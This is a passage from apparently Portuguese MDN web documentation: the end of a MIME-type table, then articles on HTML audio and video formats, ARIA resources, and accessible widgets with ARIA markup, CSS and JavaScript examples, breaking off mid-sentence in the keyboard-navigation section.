|\n| `.csh` | C-Shell script | `application/x-csh` |\n| `.css` | Cascading Style Sheets (CSS) | `text/css` |\n| `.csv` | Comma-separated values (CSV) | `text/csv` |\n| `.doc` | Microsoft Word | `application/msword` |\n| `.eot` | MS Embedded OpenType fonts | `application/vnd.ms-fontobject` |\n| `.epub` | Electronic publication (EPUB) | `application/epub+zip` |\n| `.gif` | Graphics Interchange Format (GIF) | `image/gif` |\n| `.htm .html` | HyperText Markup Language (HTML) | `text/html` |\n| `.ico` | Icon format | `image/x-icon` |\n| `.ics` | iCalendar format | `text/calendar` |\n| `.jar` | Java Archive (JAR) | `application/java-archive` |\n| `.jpeg` `.jpg` | JPEG images | `image/jpeg` |\n| `.js` | JavaScript (ECMAScript) | `application/javascript` |\n| `.json` | JSON format | `application/json` |\n| `.mid` `.midi` | Musical Instrument Digital Interface (MIDI) | `audio/midi` |\n| `.mpeg` | MPEG Video | `video/mpeg` |\n| `.mpkg` | Apple Installer Package | `application/vnd.apple.installer+xml` |\n| `.odp` | OpenDocument presentation document | `application/vnd.oasis.opendocument.presentation` |\n| `.ods` | OpenDocument spreadsheet document | `application/vnd.oasis.opendocument.spreadsheet` |\n| `.odt` | OpenDocument text document | `application/vnd.oasis.opendocument.text` |\n| `.oga` | OGG audio | `audio/ogg` |\n| `.ogv` | OGG video | `video/ogg` |\n| `.ogx` | OGG | `application/ogg` |\n| `.otf` | OpenType font | `font/otf` |\n| `.png` | Portable Network Graphics | `image/png` |\n| `.pdf` | Adobe Portable Document Format (PDF) | `application/pdf` |\n| `.ppt` | Microsoft PowerPoint | `application/vnd.ms-powerpoint` |\n| `.rar` | RAR archive | `application/x-rar-compressed` |\n| `.rtf` | Rich Text Format (RTF) | `application/rtf` |\n| `.sh` | Bourne shell script | `application/x-sh` |\n| `.svg` | Scalable Vector Graphics (SVG) | `image/svg+xml` |\n| `.swf` | Small web format (SWF) or Adobe Flash document | `application/x-shockwave-flash` |\n| `.tar` | Tape Archive (TAR) | `application/x-tar` |\n| `.tif .tiff` | Tagged Image File Format (TIFF) | `image/tiff` |\n| `.ts` | Typescript file | `application/typescript` |\n| `.ttf` | TrueType Font | `font/ttf` |\n| `.vsd` | Microsoft Visio | `application/vnd.visio` |\n| `.wav` | Waveform Audio Format | `audio/x-wav` |\n| `.weba` | WEBM audio | `audio/webm` |\n| `.webm` | WEBM video | `video/webm` |\n| `.webp` | WEBP image | `image/webp` |\n| `.woff` | Web Open Font Format (WOFF) | `font/woff` |\n| `.woff2` | Web Open Font Format (WOFF) | `font/woff2` |\n| `.xhtml` | XHTML | `application/xhtml+xml` |\n| `.xls .xlsx` | Microsoft Excel | `application/vnd.ms-excel application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` |\n| `.xml` | `XML` | `application/xml` |\n| `.xul` | XUL | application/vnd.mozilla.xul+xml |\n| `.zip` | ZIP archive | `application/zip` |\n| `.3gp` | 3GPP audio/video container | `video/3gpp` `audio/3gpp` if it doesn't contain video |\n| `.3g2` | 3GPP2 audio/video container | `video/3gpp2` `audio/3gpp2` if it doesn't contain video |\n| `.7z` | 7-zip archive | `application/x-7z-compressed` |"}
{"title":"Formatos de mídia suportados por elementos HTML  de áudio e vídeo","text":"Formatos de mídia suportados por elementos HTML de áudio e vídeo\n================================================================\n\nOs elementos `<audio>` e `<video>` fornecem suporte para a reprodução de mídias de áudio e vídeo sem necessitar de plug-ins. Codecs de áudio e vídeo são usados para manipular arquivos de áudio e vídeo, diferentes codecs oferecem diferentes níveis de compressão e qualidade. Um formato do repositório é usado para armazenar e transmitir o codec de áudio e vídeo ( ambos juntos, no caso de um vídeo com tilha sonora). Existem muitas combinações de codecs e formatos de containers, embora apenas alguns são relevantes para a internet.\n\nDiferentes navegadores não dão suporte para os mesmos formatos de mídias em suas implementações de áudio e vídeo no HTML5, principalmente por causa de questões de patentes. A área de formatos de mídias na internet tem sofrido muito com leis de patentes em muitos países, incluindo os Estados Unidos e países da União Européia (as notas sobre patentes nesse artigo são fornecidas como estão e sem garantias). Este artigo discute a diferença de codecs e combinações de containers relevantes para a internet, incluindo suporte de navegadores em computadores ou outros tipos de dispositivos.\n\nPara exibir um vídeo usando HTML5, que funcione nas últimas versões dos principais navegadores, você pode disponibilizar seu vídeo em dois formatos: WebM e MPEG H.264 AAC, usando o elemento `<source>` desta forma:\n\n\n```html\n<video controls>\n  <source src=\"somevideo.webm\" type=\"video/webm\" />\n  <source src=\"somevideo.mp4\" type=\"video/mp4\" />\n  Desculpe; seu navegador não suporta vídeos HTML5 em WebM com VP8 ou MP4 com\n  H.264.\n  <!-- Você pode embutir um Flash player aqui, para exibir seu vídeo mp4 em navegadores antigos -->\n</video>\n```\n\nWebM\n----\n\nO formato WebM é baseado em uma versão restrita do container Matroska. Ele sempre usa o codec de vídeo VP8 ou VP9 e o codec de áudio Vorbis ou Opus. WebM tem suporte nativo em navegadores de desktop e dispositivos móveis como Gecko (Firefox), Chrome e Opera, e o suporte para esse formato pode ser adicionado no Internet Explorer e Safari (mas não no iOS) por meio de um plug-in.\n\nDeclaração da Microsoft sobre o porquê o IE9 não possui suporte nativo para o WebM.\n\nO formato WebM, especificamente o codec de vídeo VP8, tinha sido acusado de violar patentes por um grupo de empresas respondendo um chamado da MPEG LA para a formação de um conjunto de patentes, mas a MPEG LA concordou em licenciar estas patentes para a Google sob uma \"licença perpétua intransferível, livre de direitos autorais\". Isto significa, efetivamente, que todas a patentes conhecidas do formato WebM são licenciadas para todos de graça.\n\nGecko reconhece os seguintes tipos de arquivos WebM:\n\n`video/webm`\n\nUm arquivo de mídia WebM contendo vídeo (e possivelmente áudio também).\n\n`audio/webm`\n\nUm arquivo de mídia WebM contendo apenas áudio.\n\nOgg Theora Vorbis\n-----------------\n\nO formato de container Ogg com o codec de vídeo Theora e o codec de áudio Vorbis é suportados em desktops e dispositivos móveis Gecko (Firefox), Chrome, Opera e o suporte para esses formatos pode ser adicionado ao Safari (exceto iOS) instalando um plug-in. O Internet Explorer não possui suporte para esse formato.\n\nWebM é geralmente mais utilizado que Ogg Theora Vorbis quando disponível, por que ele possui uma melhor qualidade de compressão e tem suporte na maioria dos navegadores. O formato Ogg, contudo, pode ser usado para navegadores mais antigos (por exemplo o Firefox 3.5/3.6 não tem suporte WebM, mas suporta Ogg).\n\nA situação de patente do Theora é similar com a da WebM.\n\nVocê pode ler mais sobre criar méidia com Ogg lendo o Theora Cookbook.\n\nGrecko reconhece os seguintes tipos MIME como arquivos Ogg:\n\n`audio/ogg`\n\nUm arquivo Ogg que contem apensa áudio\n\n`video/ogg`\n\nUm arquivo Ogg que contem vídeo (e possivelmente áudio)\n\n`application/ogg`\n\nUm arquivo Ogg com conteúdo não especificado. Usando um dos dois tipos de MIME, mas você pode usar ele se você não sabe qual é o conteúdo do arquivo.\n\nOgg Opus\n--------\n\nO container Ogg pode também conter um áudio codificado usando o codec Opus. Suporte para ele está disponível no Gecko 15.0 e versões superiores, em navegadores no desktop e dispositivos móveis.\n\nOgg FLAC\n--------\n\nO contêiner Ogg pode também conter um áudio codificado usando o codec FLAC. Suporte para ele está disponível no Gecko 51.0 e versões superiores, somente no desktop.\n\nMP4 H.264 (AAC ou MP3)\n----------------------\n\nO formato MP4 com o codec de vídeo H.264 e codec de áudio AAC tem suporte nativo para Internet Explorer, Safari e Chrome no desktop e dispositivos móveis, o Opera não possui suporte para este formato. IE e Chrome também possuem suporte para codec de áudio MP3 no container MP4, mas o Safari não tem suporte para isso. Firefox/Firefox para hardware do dispositivo pode manipular o perfil utilizado para codificar o MP4.\n\n**Nota:** Codificação MP4 com um perfil elevado não será executado em um hardware inferior, como o Firefox OS.\n\nO formato de mídia MPEG é coberto por patentes, do qual não é livremente licenciado. Todas as licenças necessárias podem ser compradas da MPEG LA. Desde H.264 o formato não é livre de direitos autorais, é impróprio para a internet aberta, de acordo com a Mozilla [1, 2], Google [1, 2] e Opera. Contudo, desde que os formatos de direitos livres não são suportados pelo Internet Explorer e Safari, a Mozilla decidiu dar suporte para o formato, e a Google nunca cumpriu sua promessa de remover o suporte para o Chrome.\n\nMP3\n---\n\nO formato de áudio MP3(.mp3 audio/mpeg; diferente do áudio MP3 no MP4 container acima) é suportado na tag <audio> no Firefox/Firefox para Android/Firefox OS quando o sistema operacional fornece um decodificador MP3, para Internet Explorer, Chrome e Safari.\n\nWAVE PCM\n--------\n\nO formato WAVE, com o codec de áudio PCM (codec WAVE \"1\") tem suporte nos navegadores Gecko(Firefox) e Safari no desktop e dispositivos móveis. Arquivos com o formato WAVE tipicamente tem a extensão \".wav\".\n\n**Nota:** **Nota: Veja** RFC 2361 para ver registros do codec WAVE\n\nGecko reconhece os seguintes tipos MIME em arquivos de áudio WAVE:\n\n* `audio/wave` (preferido; não funciona no Chrome)\n* `audio/wav`\n* `audio/x-wav`\n* `audio/x-pn-wav`\nMedia Source Extensions (MSE)\n-----------------------------\n\nOrigem da extesão de mídia é um projeto de trabalho da W3C que planeja ampliar `HTMLMediaElement` (en-US) para permitir que o JavaScript gere fluxo de mídia para reprodução. Permitindo que o JavaScript gere fluxos facilita uma variedade de uso, como o fluxo adaptado e o tempo de mudança de transmissão ao vivo. Isto é atualmente um suporte experimental no Firefox desktop, e em outros navegadores também.\n\nPor exemplo, você pode implementar MPEG-DASH usando JavaScript durante carregamento da decodificação para MSE.\n\n**Nota:** Time Shifting é o processo de consumo de uma transmissão ao vivo, algum tempo após ter acontecido.\n\nVeja também\n-----------\n\n* Using audio and video in Firefox\n* HTML media support in Firefox\n* Media elements (HTML 5 specification)\n* `video`\n* `audio`"}
{"title":"ARIA - Acessibilidade","text":"ARIA\n====\n\nAplicações para a Internet Ricas em Acessibilidade - Accessible Rich Internet Applications (ARIA) definem as formas de tornar o conteúdo e as aplicações da Rede Mundial - *Web* - (especialmente aqueles desenvolvidos com Ajax e JavaScript) mais acessíveis às pessoas com deficiência.\n\nPor exemplo, a ARIA permite a marcação de regiões importantes na página (como uma caixa de busca, um cabeçalho, chamadas \"pontos de referência\") para facilitar a navegação (agilizam a utilização de leitores de tela, por exemplo), JavaScript para *widgets*, sugestões de preenchimento de formulário e mensagens de erro, atualizações de conteúdo em tempo real e muito mais.\n\nO ARIA é um conjunto de atributos especiais para a acessibilidade, que pode ser adicionado a qualquer linguagem marcação, mas é especialmente adequado para HTML. O atributo da função define qual é o modelo de objeto (tais como um artigo, um alerta, ou algo que deslize). Há atributos adicionais ARIA que fornecem outras propriedades úteis, como a descrição de uma forma, ou o valor atual em uma barra de progresso.\n\nO conjunto ARIA pode ser implementado nos navegadores mais populares e em leitores de tela. No entanto, as implementações variam e as tecnologias mais antigas não as suportam bem. Utilize um ARIA compatível, ou solicite a alguém que o atualize para as tecnologias mais recentes.\n\n**Nota:** Por favor, participe e torne o ARIA melhor para as pessoas! Não tem muito tempo? Envie sugestões para acessibilidade - lista de correspondência da Mozilla, ou #*accessibility* canal IRC*.*\n\n### Começando em ARIA\n\nApresentando ARIA (en-US)\n\nUma rápida introdução sobre como tornar um conteúdo dinâmico acessível com ARIA: Veja, também, o clássico ARIA intro by Gez Lemon, de 2008.\n\nAplicações *Web* e ARIA FAQ (en-US)\n\nRespostas às perguntas frequentes sobre WAI-ARIA e sobre por que é necessário tornar as aplicações *web* acessíveis.\n\nVídeos de Leitores de Tela Utilizando ARIA\n\nVeja exemplos reais e simplificados de vídeos, por toda a *web*, que incluem o \"antes\" e o \"depois\" da acessibilidade.\n\nUsando ARIA com HTML\n\nUm guia prático para desenvolvedores. Traz sugestões sobre quais atributos ARIA usar com os elementos HTML. As sugestões são baseadas em realidades implementadas.\n\n### Melhorias Simples ARIA\n\nMelhorando a Navegação nas Páginas com os Pontos de Referência ARIA\n\nUma deliciosa introdução à utilização de pontos de referência para beneficiar a navegação pelas páginas da internete por quem utiliza os leitores de tela ARIA. Veja, também, as notas da implementação de pontos de referência ARIA e exemplos de situações reais (atualizadas a partir de 11 de julho).\n\nMelhorando a Acessibilidade nos Formulários (en-US)\n\nO conjunto ARIA não é, apenas, para conteúdo dinâmico! Aprenda como aperfeiçoar a acessibilidade nos formulários HTML utilizando alguns atributos adicionais ARIA.\n\nRegiões dinâmicas (trabalho em progresso) (en-US)\n\nAs regiões dinâmicas oferecem sugestões, aos leitores de tela, sobre como controlar as alterações nos conteúdos das páginas.\n\nUtilizando a ARIA Regiões Dinâmicas para Apresentar as Alterações no Conteúdo\n\nUm resumo sobre as regiões dinâmicas, pelos criadores do programa de leitura de tela JAWS. Note que as regiões dinâmicas também são suportadas pela NVDA, no Firefox e VoiceOver, com Safari.\n\n### ARIA para *Widgets* Roteirizados\n\nNavegação pelo Teclado e Foco para *Widgets* em JavaScript (en-US)\n\nA primeira etapa do desenvolvimento de um *widget* acessível com JavaScript é tornà-lo navegável através do teclado. Este artigo descreve as fases dessa operação. O artigo Yahoo! Administrando focos também é de grande ajuda.\n\nGuia de Estilo para Navegação através do Teclado\n\nUm desafio em ARIA é conseguir que os desenvolvedores executem procedimentos estáveis - claramente melhores para quem os utiliza. Este guia de estilos descreve a interface de teclado para os *widgets* comuns.\n\n### Recursos ARIA\n\nA Técnica na Execução de *Widgets*, Tutoriais e Exemplos (en-US)\n\nPrecisa de um controle dezlizante, um menu, ou algum outro tipo de *widget*? Encontre, aqui, as maneiras de obtê-los.\n\nBibliotecas JavaScript UI com ARIA habilitada\n\nSe você está começando um projeto novo, escolha uma biblioteca UI para *widget* com suporte a ARIA já embutido. Atenção: isto é de 2009 — este conteúdo deve ser movido para uma página MDN, onde pode ser atualizado.\n\nAcessibilidade em HTML5 e Aplicações Ricas - Materiais de Oficina CSUN 2012\n\nInclua apresentações de eslaides e exemplos.\n\n### Lista de Correspondência\n\nARIA Livre no Grupo Google\n\nÁrea de perguntas sobre ARIA, bem como de fazer sugestões para melhorar a documentação ARIA encontrada nestas páginas.\n\n### Blogs\n\nAs informações ARIA nos blogues tendem a ficar desatualizadas rapidamente. Sem contar que há outras boas informações fora deles, de desenvolvedores que estão tornando o conjunto Aria funcional hoje.\n\nPaciello Group\n\nCultura Acessível\n\n### Encontrando Erros\n\nErros nos arquivos ARIA em navegadores, leitores de telas e bibliotecas JavaScript.\n\n### Exemplos\n\nExemplos de Bibliotecas ARIA (en-US)\n\nUm conjunto de exemplos de arquivos das bibliotecas base, com os quais fica muito fácil aprender.\n\nDemonstração de Biblioteca para a Accessibilidade JS em *Widget*\n\nDojo, jQuery, Fluid, YUI\n\nCorreio Eletrônico Yahoo!\n\nA Yahoo! colocou tudo reunido com o Yahoo! *e-mail*, uma aplicação para a *web* que parece um aplicativo nativo. E funciona muito bem. Em uma análise do *e-mail* Yahoo! pelo leitor de tela, Marco Zehe diz: \"Que o bom trabalho permaneça!\".\n\nPesquisa Yahoo!\n\nA Yahoo! tem feito um trabalho incrível no avanço do ARIA, aplicando suas posibilidades de forma plena e compartilhando suas técnicas. A Pesquisa Yahoo! usa uma combinação de pontos de referência ARIA, regiões dinâmicas e *widgets*.\n\n### Esforços pela Padronização\n\nUma Visão Geral das Atividades WAI-ARIA na W3C\n\nUma visão geral oficial dos esforços de padronização da WAI-ARIA pela Iniciativa de tornar a *Web* Acessível (Web Accessibility Initiative - WAI)\n\nEspecificações WAI-ARIA\n\nAs especificações W3C são referências úteis. Note que, nesta fase, é importante testar a compatibilidade, uma vez que as implementações ainda estão inconsistentes.\n\nPráticas Oficiais WAI-ARIA\n\nConforme as especificações da W3C WAI-ARIA, a excelênca nas práticas oficiais representam o futuro ideal - o dia em que todos os autores possam trabalhar em suas realizações sobre uma base ARIA consistente em navegadores e leitores de tela. A documentação W3C proporcionará a você uma visão aprofundada de ARIA.\n\nPor enquanto, desenvolvedores *web* que implementem ARIA devem priorizar a compatibilidade. Use as melhores documentações das práticas e exemplos baseados em implementações atuais.\n\nA Força-Tarefa da Acessibilidade Open AJAX\n\nOs centros de pesquisa Open AJAX envolvem ferramentas de desenvolvimento, modelos de arquivos e testes automatizados para ARIA.\n\nEm Construção: Técnicas ARIA WCAG 2.0 (en-US)\n\nA comunidade necessita de um conjunto completo de técnicas WCAG voltadas para WAI-ARIA + HTML, a fim de que as organizações possam estar confortáveis ao proclamar que o teor de suas ARIAs habilitadas é compatível com essas técnicas WCAG. É muito importante que as regulamentações, ou políticas, sejam baseadas em WCAG.\n\n### Tópicos Relacionados\n\n* Accessibilidade (en-US), AJAX, JavaScript"}
{"title":"Visão geral da acessibilidade nas aplicações web e widgets - Acessibilidade","text":"Visão geral da acessibilidade nas aplicações web e widgets\n==========================================================\n\nA Rede Mundial está mudando. Estatísticamente, os sítios baseados em páginas estão, cada vez mais, sendo repostos por aplicações dinâmicas, em estilo Ambiente, que fazem uso intenso de JavaScript e AJAX. Estilistas estão criando novos *widgets* e controles inteiramente com a combinação de JavaScript, HTML e CSS. Este salto tem o potencial de aperfeiçoar, dramaticamente, a capacidade de resposta e a usabilidade da Rede, mas milhares de utilizadores estão sob o risco de exclusão, devido a algumas lacunas na acessibilidade. A JavaScript tem, tradicionalmente, tido a reputação de ser inviável para quem usa tecnologias assistivas, como leitores de tela mas, agora, existem maneiras de criar interfaces de utilização dinâmicas acessíveis a uma ampla variedade de pessoas.\n\nO problema\n----------\n\nA maior parte do conjunto de ferramentas JavaScript oferece uma biblioteca de utilização de *widgets* que imita o comportamento de interfaces de Ambiente familiares. Deslizantes, barras de menus, visão de arquivos em lista e muito mais pode ser construído com uma combinação de JavaScript, CSS e HTML. Uma vez que a especificação da HTML 4 não fornece etiquetas integradas (*built-in tags*) que descrevam estes tipos de *widgets* semanticamente, os desenvolvedores recorrem ao uso de elementos genéricos, tais como <div> e <span>. Embora isto resulte em um *widget* que se pareça com seu duplo de ambiente, geralmente não existe informação semântica suficiente, na marcação, para torná-lo utilizável por uma tecnologia assistiva. Teor dinâmico em uma página da Rede Mundial pode ser particularmente problemático para quem, por alguma razão, não pode ver a tela. Cotações de ações, alimentação instantânea de atualizações do twitter, indicadores de progresso e conteúdos similares alteram o DOM, enquanto uma tecnologia assistiva (TA/AT) pode não ser alertada disso. Aqui é onde o conjunto ARIA entra.\n\n*Exemplo 1: Marcação para um widget de abas construído sem as indicações ARIA. Não existem informações semânticas, na marcação, que descrevam a sua forma, nem a sua função.*\n\n\n```html\n<!-- This is a tabs widget. How would you know, looking only at the markup? -->\n<ol>\n  <li id=\"ch1Tab\">\n    <a href=\"#ch1Panel\">Chapter 1</a>\n  </li>\n  <li id=\"ch2Tab\">\n    <a href=\"#ch2Panel\">Chapter 2</a>\n  </li>\n  <li id=\"quizTab\">\n    <a href=\"#quizPanel\">Quiz</a>\n  </li>\n</ol>\n\n<div>\n  <div id=\"ch1Panel\">Chapter 1 content goes here</div>\n  <div id=\"ch2Panel\">Chapter 2 content goes here</div>\n  <div id=\"quizPanel\">Quiz content goes here</div>\n</div>\n```\n\n\n*Exemplo 2: Como o widget de abas pode ser visto. Seus utilizadores podem reconhecer sua aparência, mas não há semântica legível por mecanismos de tecnologias assistivas.*\n![Screenshot of the tabs widget](/pt-BR/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets/tabs_widget.png)\n\nARIA\n----\n\nAs definições para WAI-ARIA **Accessible Rich Internet Applications** (Aplicações Ricas para uma Internete Acessível), da W3C - Web Accessibility Initiative (Iniciativa pela Acessibilidade na Rede Mundial/World Wide Web Consortium-W3C) - oferecem uma via para a adição das necessidades semânticas perdidas pelas tecnologias assistivas, como os leitores de tela. O conjunto ARIA possibilita que desenvolvedores possam descrever seus *widgets* de forma mais detalhada com a inclusão de atributos especiais à marcação. Projetado para preencher a lacuna entre o padrão de rotulagem HTML e os controles com estilo ambiente encontrados em aplicações dinâmicas pela *web*, o conjunto ARIA fornece funções (roles) e estados (states) que descrevem o comportamento da maioria das interfaces de utilização dos *widgets* conhecidas.\n\nA especificação ARIA está dividida em três tipos diferentes de atributos: funções (roles), estados (states) e propriedades (properties). As funções (roles) descrevem os *widgets* que não estão disponíveis de outra forma em HTML 4, como deslizantes, barras de menu, abas e diálogos. As propriedades (properties) descrevem as características desses *widgets* - se podem ser arrastados (*draggable*), se existe algum elemento obrigatório, ou se trazem uma janela de explosão (popup) associada. Os estados (states) descrevem a interação atual de um elemento, informando à tecnlogia assistiva se este se encontra ativo, desativado, selecionado, ou oculto.\n\nOs atributos ARIA são projetados para serem interpretados automaticamente pelo navegador e traduzidos para as APIs (Application Programming Interface/Interface de Programação de Aplicativo) de acessibilidade nativas do sistema operacional. Quando o conjunto ARIA está presente as tecnologias assistivas são capazes de reconhecer e interagir com os controles personalizados pela JavaScript da mesma forma que fazem com os seus equivalentes de ambiente. Isto tem o potencial de oferecer uma experiência de utilização muito mais consistente do que aquela que foi possível nas gerações anteriores das aplicações da Rede, uma vez que os utilizadores de tecnologias assistivas podem empregar todo o seu conhecimento sobre o funcionamento das aplicações de ambiente, ao usar aquelas que são baseadas na *web*.\n\n*Exemplo 3: Marcação para um widget de abas com os atributos ARIA adicionados:*\n\n\n```html\n<!-- Now \\*these\\* are Tabs! -->\n<!-- We've added role attributes to describe the tab list and each tab. -->\n<ol role=\"tablist\">\n  <li id=\"ch1Tab\" role=\"tab\">\n    <a href=\"#ch1Panel\">Chapter 1</a>\n  </li>\n  <li id=\"ch2Tab\" role=\"tab\">\n    <a href=\"#ch2Panel\">Chapter 2</a>\n  </li>\n  <li id=\"quizTab\" role=\"tab\">\n    <a href=\"#quizPanel\">Quiz</a>\n  </li>\n</ol>\n\n<div>\n  <!-- Notice the role and aria-labelledby attributes we've added to describe these panels. -->\n  <div id=\"ch1Panel\" role=\"tabpanel\" aria-labelledby=\"ch1Tab\">\n    Chapter 1 content goes here\n  </div>\n  <div id=\"ch2Panel\" role=\"tabpanel\" aria-labelledby=\"ch2Tab\">\n    Chapter 2 content goes here\n  </div>\n  <div id=\"quizPanel\" role=\"tabpanel\" aria-labelledby=\"quizTab\">\n    Quiz content goes here\n  </div>\n</div>\n```\n\n\nO conjunto ARIA tem suporte nas últimas versões de todos os maiores navegadores, incluindo Firefox, Safari, Opera, Chrome e Internet Explorer. Muitas das tecnologias assistivas, como as de código aberto NVDA e os leitores de tela Orca, da mesma foma, trazem suporte ao ARIA. Progressivamente, as bibliotecas JavaScript para *widget*, tais como jQuery UI, YUI, Google Closure e Dojo Dijit também incluem as marcações ARIA.\n\n### Mudanças na apresentação\n\nMudanças de apresentação dinâmicas agregam o uso de CSS para alterar a aparência do conteúdo (uma borda vermelha em volta de algum dado inválido, ou a troca da cor de fundo de uma caixa de seleção já marcada), bem como quando um item é exibido, ou escondido.\n\n#### Mudanças de estado\n\nO conjunto ARIA provê atributos para declarar o estado atual da interface de utilização de um *widget*. Os exemplos abrangem (mas não são apenas estes, com certeza) :\n\n`aria-checked` (marcada)\n\nindica o estado de uma caixa de seleção, ou de um botão de alternativa (`radio`)\n\n`aria-disabled` (desativado)\n\nindica que um elemento está visível, mas não pode ser editado, tampouco é executável.\n\n`aria-grabbed` (arrastado)\n\nindica o estado \"arrastado\" para um objeto, em uma operação de \"arrastar e soltar\".\n\n(Para uma lista completa de estados ARIA, consulte a ARIA list of states and properties (lista de estados e propriedades ARIA).\n\nOs desenvolvedores devem dar preferência ao uso dos estados ARIA para indicar a situação atual dos elemento*s widgets* na interface de utilização (UI) e os seletores de atributos CSS para alterar a sua aparência, com base nas mudanças desses estados (em vez de usar um roteiro (*script*) para mudar um nome de classe de um elemento).\n\nA *Open Ajax Alliance* (OAA - Aliança *OpenAJAX* ) disponibiliza um exemplo de um seletor de atributos CSS baseado nos estados ARIA (em inglês) - an example of CSS attribute selectors based on ARIA states. O exemplo mostra a interface de um editor WYS/WYG com um sistema de menu dinâmico. Os itens selecionados no menu, como o tipo de fonte estão, visualmente, distintos dos outros. As partes importantes do exemplo são explicadas a seguir.\n\nNeste exemplo, a HTML para um menu tem a forma exibida abaixo. Note como, nas linhas 7 e 13, a propriedade (*property*) **`aria-checked`** é usada para declarar o estado da seleção dos itens do menu.\n\n*Exemplo 1a: HTML para um menu selecionável.*\n\n\n```html\n<ul id=\"fontMenu\" class=\"menu\" role=\"menu\" aria-hidden=\"true\">\n  <li\n id=\"sans-serif\"\n class=\"menu-item\"\n role=\"menuitemradio\"\n tabindex=\"-1\"\n aria-controls=\"st1\"\n aria-checked=\"true\">\n    Sans-serif\n  </li>\n  <li\n id=\"serif\"\n class=\"menu-item\"\n role=\"menuitemradio\"\n tabindex=\"-1\"\n aria-controls=\"st1\"\n aria-checked=\"false\">\n    Serif\n  </li>\n  ...\n</ul>\n```\n\n\nA CSS usada para alterar a aparência do item selecionado é mostrada no Exemplo 1b. Perceba que não existe um nome de classe (*classname*) de personalização, apenas o estado do atributo **`aria-checked`**, na linha 1.\n\n*Exemplo 1b: Seletor baseado em atributo para indicar um estado.*\n\n\n```css\nli[aria-checked=\"true\"] {\n  font-weight: bold;\n  background-image: url(\"images/dot.png\");\n  background-repeat: no-repeat;\n  background-position: 5px 10px;\n}\n```\n\n\nO JavaScript para atualizar a propriedade **`aria-checked`** tem a forma exibida no Exemplo 1c. Repare que o roteiro (*script*) apenas atualiza o atributo **`aria-checked`** (linhas 3 e 8); também não é necessário adicionar, ou remover, um nome de classe personalizada.\n\n*Exemplo 1c: A JavaScript atualiza o atributo aria-checked*.\n\n\n```js\nvar processMenuChoice = function (item) {\n  // 'check' the selected item\n  item.setAttribute(\"aria-checked\", \"true\");\n  // 'un-check' the other menu items\n  var sib = item.parentNode.firstChild;\n  for (; sib; sib = sib.nextSibling) {\n    if (sib.nodeType === 1 && sib !== item) {\n      sib.setAttribute(\"aria-checked\", \"false\");\n    }\n  }\n};\n```\n\n\n#### Alterações visuais\n\nQuando o conteúdo visual é alterado (isto é, um elemento é escondido, ou mostrado), os desenvolvedores devem mudar o valor da propriedade **`aria-hidden`**. As técnicas descritas acima devem ser usadas, a fim de declarar a CSS para ocultar um elemento utilizando `display:none` (*exibir:nenhum*).\n\nO sítio da *Open Ajax Alliance* fornece um exemplo de uma dica de tela (*tooltip*) que utiliza o estado aria-hidden para controlar a sua visibilidade (em inglês) an example of a tooltip that uses **`aria-hidden`** to control the visibility of the tooltip. O exemplo mostra um formulário *web* simples, com caixas de dicas de tela contendo instruções associadas aos campos de entrada. As partes relevantes deste exemplo estão explicadas abaixo.\n\nAqui, a HTML para a dica de tela tem a forma exibida no Exemplo 2a. A linha 9 configura o estado da **`aria-hidden`** para `true`.\n\n*Exemplo 2a: HTML para dicas de tela.*\n\n\n```html\n<div class=\"text\">\n  <label id=\"tp1-label\" for=\"first\">First Name:</label>\n  <input\n type=\"text\"\n id=\"first\"\n name=\"first\"\n size=\"20\"\n aria-labelledby=\"tp1-label\"\n aria-describedby=\"tp1\"\n aria-required=\"false\" />\n  <div id=\"tp1\" class=\"tooltip\" role=\"tooltip\" aria-hidden=\"true\">\n    Your first name is optional\n  </div>\n</div>\n```\n\n\nA CSS para esta marcação está explicada no Exemplo 2b. Veja que não há uso de *classname* personalizada, apenas o estado do atributo **`aria-hidden`**, na linha 1.\n\n*Exemplo 2b: Seletor basedo em atributo para indicar um estado.*\n\n\n```css\ndiv.tooltip[aria-hidden=\"true\"] {\n  display: none;\n}\n```\n\n\nO JavaScript que atualiza a propriedade **`aria-hidden`** tem a forma exposta no Exemplo 2c. Observe que o roteiro apenas atualiza o atributo **`aria-hidden`** (linha 2); não é necessário adicionar, nem remover, uma *classname* customizada.\n\n*Exemplo 2c: JavaScript para atualização do atributo aria-checked.*\n\n\n```js\nvar showTip = function (el) {\n  el.setAttribute(\"aria-hidden\", \"false\");\n};\n```\n\n### Mudança de Atributo (*Role*)\n\n**Nota:** Em construção\n\nO conjunto ARIA possibilita que os desenvolvedores possam declarar uma função semântica para um elemento que, de outro modo, não a apresentaria, ou a ofereceria de forma incorreta. Por exemplo, quando alguma lista desordenada é utilizada para criar um menu, à `<ul>` deve ser dada uma **`role`** de `menubar` e cada `<li>` deve ter uma **`role`** de `menuitem`.\n\nO papel (**`role`**) de um elemento não deve mudar. Em vez disso, remova o elemento original e ocupe seu lugar com um elemento que tenha a função (**`role`**) nova.\n\nPor exemplo, considere um *widget* de edição \"*inline*\": um componente que possibilita que seus utilizadores sejam capazes de editar uma parte de um texto, sem mudar toda a composição. Este componente carrega o modo \"*visualizar*\", no qual o texto não pode ser modificado, mas pode ser ativado e um modo \"*editar*\", no qual o texto pode ser alterado. Se você o desenvolve, pode ter a tentação de implementar o modo \"*visualizar*\" com o uso do elemento texto \"*somente leitura*\" `<input>`, definindo a sua ARIA **`role`** para `button` e, em seguida, alternando para o modo \"*editar*\", para tornar o elemento apto à gravação e removendo o atributo **`role`** no modo \"editar\" (desde que os elementos `<input>` tenham as suas próprias funções semânticas).\n\nNão faça isso. Em substituição, implemente o modo \"*visualizar*\" usando um elemento completamente diferente, tal como uma `<div>`, ou `<span>` com uma **`role`** de `button` e o modo « *edit* » utilizando um elemento texto `<input>`.\n\n### Mudanças assíncronas de conteúdo\n\n**Nota:** Em construção. Veja, também, Regiões Dinâmicas\n\nNavegação pelo Teclado\n----------------------\n\nMuitas vezes, os desenvolvedores negligenciam o suporte ao teclado quando criam *widgets* personalizados. Para ser acessível a uma gama maior de pessoas, todas as configurações de uma aplicação *web*, ou de um *widget*, devem oferecer controles pelo teclado, sem a necessidade de um rato. Na prática isto, frequentemente, envolve as convenções suportadas por *widgets* similares, de ambiente, tirando plena vantagem das teclas Tab, Entra\\*,\\* Barra de Espaço e Setas.\n\nTradicionalmente, a navegação pelo teclado na *web* tem sido limitada à tecla Tab, que é pressionada para dar foco a cada botão, vínculo, ou formulário na página, em uma ordenação linear e Shift-Tab para navegar em sentido contrário (navegação regresssiva). É uma forma unidimensional de navegação - para frente e para trás, um elemento por vez. Em 